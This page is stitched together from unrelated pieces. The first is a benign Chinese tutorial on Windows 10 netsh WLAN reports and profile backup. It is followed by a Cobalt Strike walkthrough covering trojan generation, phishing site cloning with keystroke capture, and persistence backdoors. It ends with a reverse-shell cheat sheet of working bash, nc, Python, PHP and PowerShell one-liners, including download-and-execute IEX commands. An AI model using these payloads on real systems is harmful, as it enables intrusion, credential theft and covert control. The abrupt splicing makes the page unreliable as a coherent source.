Windows 10中,你可以通過netsh命令來生成無線網絡報告。如果你正飽受WLAN連接問題的困擾,那么分析無線網絡報告將有助于你定位問題并有針對性地解決問題。若你的WLAN連接沒有問題,那么了解你的計算機關于WLAN連接的情況的細節也未嘗不是一種有趣的體驗。
在這篇文章中,IT之家將教大家如何生成無線網絡報告以及列舉無線網絡報告中的關鍵信息。
在Windows 10中生成無線網絡報告
在Windows 10中生成無線網絡報告的方法十分簡單,我們只需要執行一行命令。
我們可以通過Windows Powershell(推薦)或者命令提示符以管理員身份來執行用于生成無線網絡報告的命令。
要在你的計算機中找到并以管理員身份運行Windows Powershell,請將鼠標光標移至開始按鈕(默認位于你計算機屏幕的左下角)上,單擊鼠標右鍵,在彈出的菜單中選中“Windows Powershell(管理員)”,并以鼠標左鍵單擊。
要在你的計算機中找到并以管理員身份運行命令提示符,請以鼠標左鍵單擊微軟小娜的搜索框,輸入并搜索關鍵字“CMD”,在搜索結果的“最佳匹配”項下,你可以找到命令提示符的入口。將鼠標光標置于命令提示符的圖標上,單擊鼠標右鍵,在彈出的菜單中選中“以管理員身份運行”,并以鼠標左鍵單擊。
在接下來的教程中,我們將以在Windows Powershell中演示執行用于生成無線網絡報告的命令的過程。
在Windows Powershell中輸入(或粘貼)并執行以下命令:
netsh wlan show wlanreport
如果一切順利,你將看到執行結果如下:
通過Windows Powershell中顯示的命令結果可知,最終生成的無線網絡報告已經被命名為“wlan-report-latest.html”并保存在以下目錄下:
C:\ProgramData\Microsoft\Windows\WlanReport\
如果你的Windows 10安裝在其他盤符,那么你可以在文件資源管理器的地址欄中輸入以下地址:
%ProgramData%\Microsoft\Windows\WlanReport
并按鍵盤上的回車鍵來導航到無線網絡報告被保存到的位置。
你可以使用任意的網頁瀏覽器來打開無線網絡報告,其中的內容(局部)將如下圖所示:
接下來我們來看無線網絡報告中的關鍵信息。
無線網絡報告中的關鍵信息
WLAN摘要圖表
WLAN摘要圖表將以可視化圖表的形式顯示報告中的WLAN連接會話信息。它的縱軸分別為WLAN、NCSI和NDIS項,橫軸則是時間線,在WLAN摘要圖表中,你最需要關注的關鍵信息是錯誤信息,若時間線中出現紅色的中間帶有“X”標志的圓點,則表明當前(時間軸所處的)時間該點所在的項發生了錯誤。點擊表示某項發生了錯誤的點則可以查看該條錯誤所對應的與WLAN會話相關聯事件。
報告信息
報告信息(Report Info)包含兩條關鍵信息,分別是無線網絡報告生成的時間(比如2018年01月17日14:34:16)和該報告包含的內容橫跨了多長時間(比如三天)。
一般系統信息
一般系統信息(General System Info)所包含的關鍵信息包括計算機名稱(比如ThinkCentre)、計算機制造商(比如聯想)、計算機型號(比如揚天S710)、BIOS日期/版本(比如2013年05月16日/FJKT16AUS)、操作系統版本(比如17074.1000)以及你的系統是否加入了MDM。
用戶信息
用戶信息(User Info)主要包含三條關鍵信息,分別是用戶名(比如Lenovo)、用戶域(比如THINKCENTRE)和用戶DNS域(比如未知)。
網絡適配器
網絡適配器(Network Adapters)包含的關鍵信息有設備名(比如WAN Miniport (PPPOE))、即插即用ID(比如SWD\MSRRAS\MS_PPPOEMINIPORT)、GUID(比如{DC4D342D-BE68-41F3-8119-A0C9C7D1A164})、當前驅動程序的版本(比如10.0.17074.1000)、驅動程序日期(比如6-21-2006)DevNode標志(比如0x180200a)等。
如果你的計算機的網絡適配器有問題,那么該網絡適配器的問題編號將列于網絡適配器的關鍵信息列表中。
腳本輸出
腳本輸出(Script Output)中主要包含三條命令(腳本)的執行結果,下面我們一一列舉。
ipconfig /all
ipcpnfig /all腳本的執行結果中包含的關鍵信息有當前計算機中網絡適配器的MAC地址、IP地址和DNS服務器(若適用)等。
netsh wlan show all
netsh wlan show all腳本的執行結果中包含的關鍵信息是當前計算機中網絡適配器的詳情,包括適配器型號、適配器制造商、驅動程序日期/版本、計算機中的WLAN配置文件、報告生成的過程中發現的WLAN網絡列表等。
certutil -store -silent My & certutil -store -silent -user My
certutil -store -silent My & certutil -store -silent -user My腳本的執行結果包含的關鍵信息是當前的計算機所安裝的證書的列表。
配置文件輸出
配置文件輸出的執行結果中所包含的關鍵信息為當前計算機中所有WLAN網絡的配置文件,WLAN網絡的密碼已經經過加密,不會以明文顯示。
摘要
摘要(Summary)中包含的關鍵信息有會話的成功/失敗情況(比如2次成功、0次失敗、0次警告)、斷開連接的原因(比如用戶主動斷開連接)、會話的持續時間(比如360分鐘以上)、無線會話(與每個WLAN會話相關聯的所有WLAN事件,該列表中被設置了彩色背景的事件可與前文提到的WLAN摘要列表中的彩色的點相對應)等。
以上是在Windows 10中生成無線網絡報告的方法和無線網絡報告中所包含的關鍵信息。
無線網絡報告是借由netsh命令生成的,事實上,netsh命令還可以用來做更多的事情。
使用netsh命令來備份和恢復無線網絡配置文件
無線網絡備份文件中包含的信息有無線網絡的SSID信息以及密碼信息。當你的計算機重新安裝了操作系統時,你可以借由無線網絡的備份文件快速地恢復無線網絡配置,這將有助于節省手動輸入無線網絡密碼的時間或者等待無線網絡配置文件從云端恢復到本地計算機的時間。
要備份與恢復無線網絡配置文件十分簡單,以小編的計算機為例,在開始備份無線網絡配置文件之前,我們最好先來查看當前的計算機中存儲了哪些無線網絡配置文件。要查看當前計算機中存儲的無線網絡配置文件,我們只需在Windows Powershell(推薦)或命令提示符中輸入(或粘貼)并執行以下命令:
netsh wlan show profiles
無線網絡配置文件列表將顯示如下:
要一次性備份當前列表中所顯示的所有的無線網絡的配置文件,我們只需在Windows Powershell(推薦)或命令提示符中輸入(或粘貼)并執行以下命令(以將無線網絡備份文件生成到E盤根目錄為例):
netsh wlan export profile key=clear folder=E:\
命令的執行結果將如圖所示:
這時,我們打開文件資源管理器,定位到E盤根目錄,將看到無線網絡配置文件備份如下:
若要備份指定無線網絡的配置文件(以備份無線網絡“Ruanmei”的配置文件為例),我們只需在WIndows Powershell(推薦)或命令提示符中輸入(或粘貼)并執行以下命令(以將無線網絡備份文件生成到E盤根目錄為例):
netsh wlan export profile "Ruanmei" key=clear folder=E:\
命令的執行結果將如圖所示:
若要借由備份文件恢復無線網絡配置到當前用戶,我們只需在Windows Powershell(推薦)或命令提示符中輸入(或粘貼)并執行以下命令(以恢復E盤根目錄中的無線網絡“Ruanmei”的配置文件“Wi-Fi-Ruanmei.xml”為例):
netsh wlan add profile filename="E:\Wi-Fi-Ruanmei.xml" user=current
命令的執行結果將如圖所示:
若要借由備份文件恢復無線網絡配置到全部用戶,我們只需在Windows Powershell(推薦)或命令提示符中輸入(或粘貼)并執行以下命令(以恢復E盤根目錄中的無線網絡“Ruanmei”的配置文件“Wi-Fi-Ruanmei.xml”為例):
netsh wlan add profile filename="E:\Wi-Fi-Ruanmei.xml" user=all
命令的執行結果將如圖所示:
使用netsh命令來過濾無線網絡列表
若當前地點有很多備選的無線網絡,那么整個無線網絡列表看起來會非常雜亂。通過netsh命令,我們可以把列表中的指定無線網絡加入“白名單(只在無線網絡列表中顯示白名單中的無線網絡)里”。
要將無線網絡(比如Ruanmei)加入到無線網絡列表的白名單,我們只需在Windows Powershell(推薦)或命令提示符中輸入(或粘貼)并執行以下命令:
netsh wlan add filter permission=allow ssid="Ruanmei" networktype=infrastructure
執行結果將如下圖所示:
然后,我們再執行以下命令來阻止白名單之外的無線網絡顯示在列表里:
netsh wlan add filter permission=denyall networktype=infrastructure
執行結果將如下圖所示:
以下是執行以上兩條命令前后的無線網絡列表對比:
執行前
執行后
若要還原無線網絡列表設置到此前的狀態(在無線網絡列表中顯示所有備選的無線網絡),我們只需在Windows Powershell(推薦)或命令提示符中輸入(或粘貼)并執行以下命令:
netsh wlan delete filter permission=denyall networktype=infrastructure
執行結果將如下圖所示:
以下是執行以上命令前后的無線網絡列表對比:
執行前
執行后
好的,以上就是本期IT之家極客學院的全部內容,開開心心地玩兒去吧~
想看到更多這類內容?去APP商店搜IT之家,天天都有小歡喜。
Cobalt Strike是一款基于java的內網滲透測試神器,常被業界人稱為CS神器。自3.0以后已經不在使用Metasploit框架而作為一個獨立的平臺使用,分為客戶端與服務端,服務端是一個,客戶端可以有多個,非常適合團隊協同作戰,多個攻擊者可以同時連接到一個團隊服務器上,共享攻擊資源與目標信息和sessions,可模擬APT做模擬對抗,進行內網滲透。 Cobalt Strike集成了端口轉發、服務掃描,socket代理,多模式端口監聽,win exe木馬生成,win dll木馬生成,java木馬生成,office宏病毒生成,木馬捆綁;釣魚攻擊包括:站點克隆,目標信息獲取,java執行,瀏覽器自動攻擊等等。
團隊服務器最好運行在Linux平臺上,服務端的關鍵文件是teamserver和cobaltstrike.jar,將這兩個文件放在同一目錄下運行:
團隊服務器默認連接端口為50050,如果你想修改端口只需修改teamserver文件。
Linux:./cobaltstrike或 java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
Windows:雙擊cobaltstrike.exe
點擊Cobalt Strike -> Listeners->Add,其中內置了八種監聽器。
其中windows/beacon為內置監聽器,包括dns、http、https、smb、tcp、extc2六種方式的監聽器;windows/foreign為外部監聽器,配合Metasploit或者Armitage的監聽器。
hta木馬是 http application的縮寫是一種獨立的程序跟c++寫的程序沒啥區別。可以被windows電腦的mshta命令直接執行。可更改任意后綴名。點Attacks->Packages->HTML Application,選擇對應的監聽器,選擇powershell即可生成。
目標主機訪問到木馬文件并執行,返回CS就可以看到受害者上線。
目標主機使用dos命令訪問到木馬文件并執行,返回CS就可以看到受害者上線。
點擊Attacks->Packages->Windows Executable,選擇對應的監聽器,這里可生成(PowerShell,Raw,Windows EXE,Windows DLL(32-bit),Windows DLL(64-bit))選擇Windows EXE,點擊Generate生成,選擇生成的路徑及文件名保存即可。
將生成的exe文件投遞到目標主機,目標主機運行。
DLL是編譯好的代碼,與一般程序沒什么大差別,只是它不能獨立運行,需要程序調用。DLL的代碼和其他程序幾乎沒什么兩樣,僅僅是接口和啟動模式不同,只要改動一下代碼入口,DLL就變成一個獨立的程序。
將生成的dll文件投遞到目標主機,目標主機運行。
DLL文件下載過程中對應數據包
CS可以生成很多類型的shellcode,如c、c#、java、python、powershell、ruby、raw等
點擊Attacks->package->paylaod generator 這里以powershell為例。將生成的payload.ps1復制到目標系統并執行以
目前利用網絡防火墻將組織內部的網絡結構與外部網絡如 INTERNET 中有效地隔離開來,這種方法正變得逐漸流行起來。這些防火墻系統通常以應用層網關的形式工作在網絡之間,提供受控的 TELNET 、 FTP 、 SMTP 等的接入。SOCKS 提供一個通用框架來使這些協議安全透明地穿過防火墻。 說的簡單明了一點,在滲透測試中,我們使用socks技術,可以穿透進入目標機的內網,從而擴大我們的戰果
CobaltStrike自帶Socks功能,開啟Socks server 配置一個代理端口,成功開啟socks4后,即可 成功進入目標內網。
開啟socks4代理,通過代理進行內網滲透 開啟socks,可以通過命令,也可以通過右鍵Pivoting->SOCKS Server
修改vim /etc/proxychains.conf ,在文件末尾添加socks4代理服務器
使用proxychains代理掃描內網主機
我們還可以通過隧道將整個msf帶進目標內網 點擊View->Proxy Pivots,選擇Socks4a Proxy,點擊Tunnel:
創建兩個監聽器,一個使用windows/beacon_http/reverse_http來監聽肉雞,另一個使用windows/foreign/reverse_http來將獲取到的控制權傳給msf(注意:這里的端口要與msf監聽的端口一致)。
利用HTML Application來生成鏈接使得目標設備上線,右擊選擇spwan,選擇msf監聽器,點擊Choose,返回msf查看,成功獲取meterpreter會話(此方法獲取到的會話并不穩定。)
點擊Attacks->Web Driver-by->Clone site,輸入想要克隆的網址,這里需要勾選上Log keystrokes來記錄輸入
當受害者輸入了用戶名密碼,CS在日志里會有記錄
我們發現即使受害者輸入正確的賬號密碼系統也會提示用戶名密碼錯誤,然后會自動跳轉到正確的登錄界面,事實上我們還可以實現主動跳轉到任意界面。 為了防止沒有主動跳轉到正確的頁面我們可以選擇主動跳轉到正確頁面 點擊 Attacks->Web Driver-by->System Profiler
點擊Cobalt Strike->Script Manager來導入elevate.cna 文件
選中目標機器右擊選擇Access->Elevate,選擇相應的漏洞即可提權
打開beacon shell并執行命令
查看受害機器服務,發現名為name的服務項創建成功
不過此時該服務啟動類型為手動,我們需要將其設置為自動
這樣一個service后門就設置成功了,即使目標機器重啟后依舊可以拿到控制權限。
打開beacon shell并執行命令
這樣一個注冊表自啟動后門已經設置成功了
通常我們對一個開啟了80端口的服務器進行訪問時,就會建立起與服務器Web服務鏈接,從而獲取到服務器相應的Web服務。而反彈shell是我們開啟一個端口進行監聽,轉而讓服務器主動反彈一個shell來連接我們的主機,我們再通過接收到的shell進而來遠程控制服務器。
Netcat由于他體積小且功能強大的特性,常常使用者被稱為“瑞士軍刀”或者ncat,在Debian、Mac系統中是默認安裝的。想要在兩臺機器之間進行正向、反向連接,Netcat通常是不二之選,反彈shell的使用中常用參數包括:
關于Netcatd的更多使用方法可參考:
https://www.freebuf.com/sectool/168661.html
實驗環境:
Kali:192.168.178.131
CentOS 7:192.168.178.218
方法一:利用Linux命令
#反彈命令:
bash -i >/dev/tcp/192.168.178.131/23333 0>&1 2>&1
在系統文件中是不存在/dev/tcp這個文件的,它是一個特殊文件,打開這個文件就類似于發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。同理/dev/udp就是通過udp來進行傳輸。
#Kali進行監聽:
nc -lvp 23333
方法二:利用nc命令
#反彈命令:
nc -e /bin/bash 192.168.178.131 23333
(利用了nc的重定向功能)
#Kali進行監聽:
nc -lvp 23333
方法三:利用腳本
1. Python
#反彈命令:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.178.131',23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
#Kali進行監聽:
nc -lvp 23333
2. php
(前提:需要在php.ini中放開危險函數system,exec。可以通過php --ini來查詢php配置文件路徑,然后刪除配置文件中“disable_funtions”變量中對應的函數名即可。)
(1) 反彈命令(代碼假設TCP連接的文件描述符為4,如果不行可以換成5或6):
php -r '$sock=fsockopen("192.168.178.131",23333);system("/bin/bash -i <&4 >&4 2>&4");'
#Kali進行監聽:
nc -lvp 23333
(2) 反彈命令:
php -r ‘exec(“/bin/bash -i >& /dev/tcp/192.168.178.131/23333”);’
#Kali進行監聽:
nc -lvp 23333
實驗環境:
Kali:192.168.178.131
Windows server 2008:192.168.178.128
方法一:利用”nishang”攻擊框架
Nishang(https://github.com/samratashok/nishang )是一個基于PowerShell的攻擊框架,集合了一些PowerShell攻擊腳本和有效載荷,可反彈TCP/ UDP/ HTTP/HTTPS/ ICMP等類型shell。
1. 利用UDP反彈命令:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.178.131 -port 23333
#Kali進行監聽:
nc -lup 23333
2. 利用TCP反彈命令:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.178.131 -port 23333
#Kali進行監聽:
nc -lvp 23333
方法二:利用powercat
powercat(https://github.com/besimorhino/powercat)為Powershell版的Netcat,實際上是一個powershell的函數,使用方法類似Netcat。
#反彈命令:
powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.178.131 -p 23333 -e cmd
#Kali進行監聽:
nc -lvp 23333
方法三:自定義powershell函數
#反彈命令:
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.178.131',23333);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
#Kali進行監聽:
nc -lvp 23333
方法四:利用metasploit
利用metasploit的web_delivery模塊可通過python、php、powershell、regsvr32等進行反彈shell。
#以powershell進行反彈為例,kali執行命令,可以看到生成已經過編碼的payload:
msfconsole
use exploit/multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set target 2
set LPORT 23333
set LHOST 192.168.178.131
Set srvhost 0.0.0.0
Set srvpost 8080
run
#Win server 2008執行生成的命令“powershell.exe -nop -w hidden -e ......”(-w hidden參數使命令運行時窗口隱藏)。
#Kali接收到反彈:
以上提到的是常見的反彈shell方式,當然,還存在更多的其他方式,github上也有很多成熟的攻擊框架可以實現反彈shell,例如PowerSploit、Empire、Dnscat等等,感興趣可以繼續進行深入學習。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。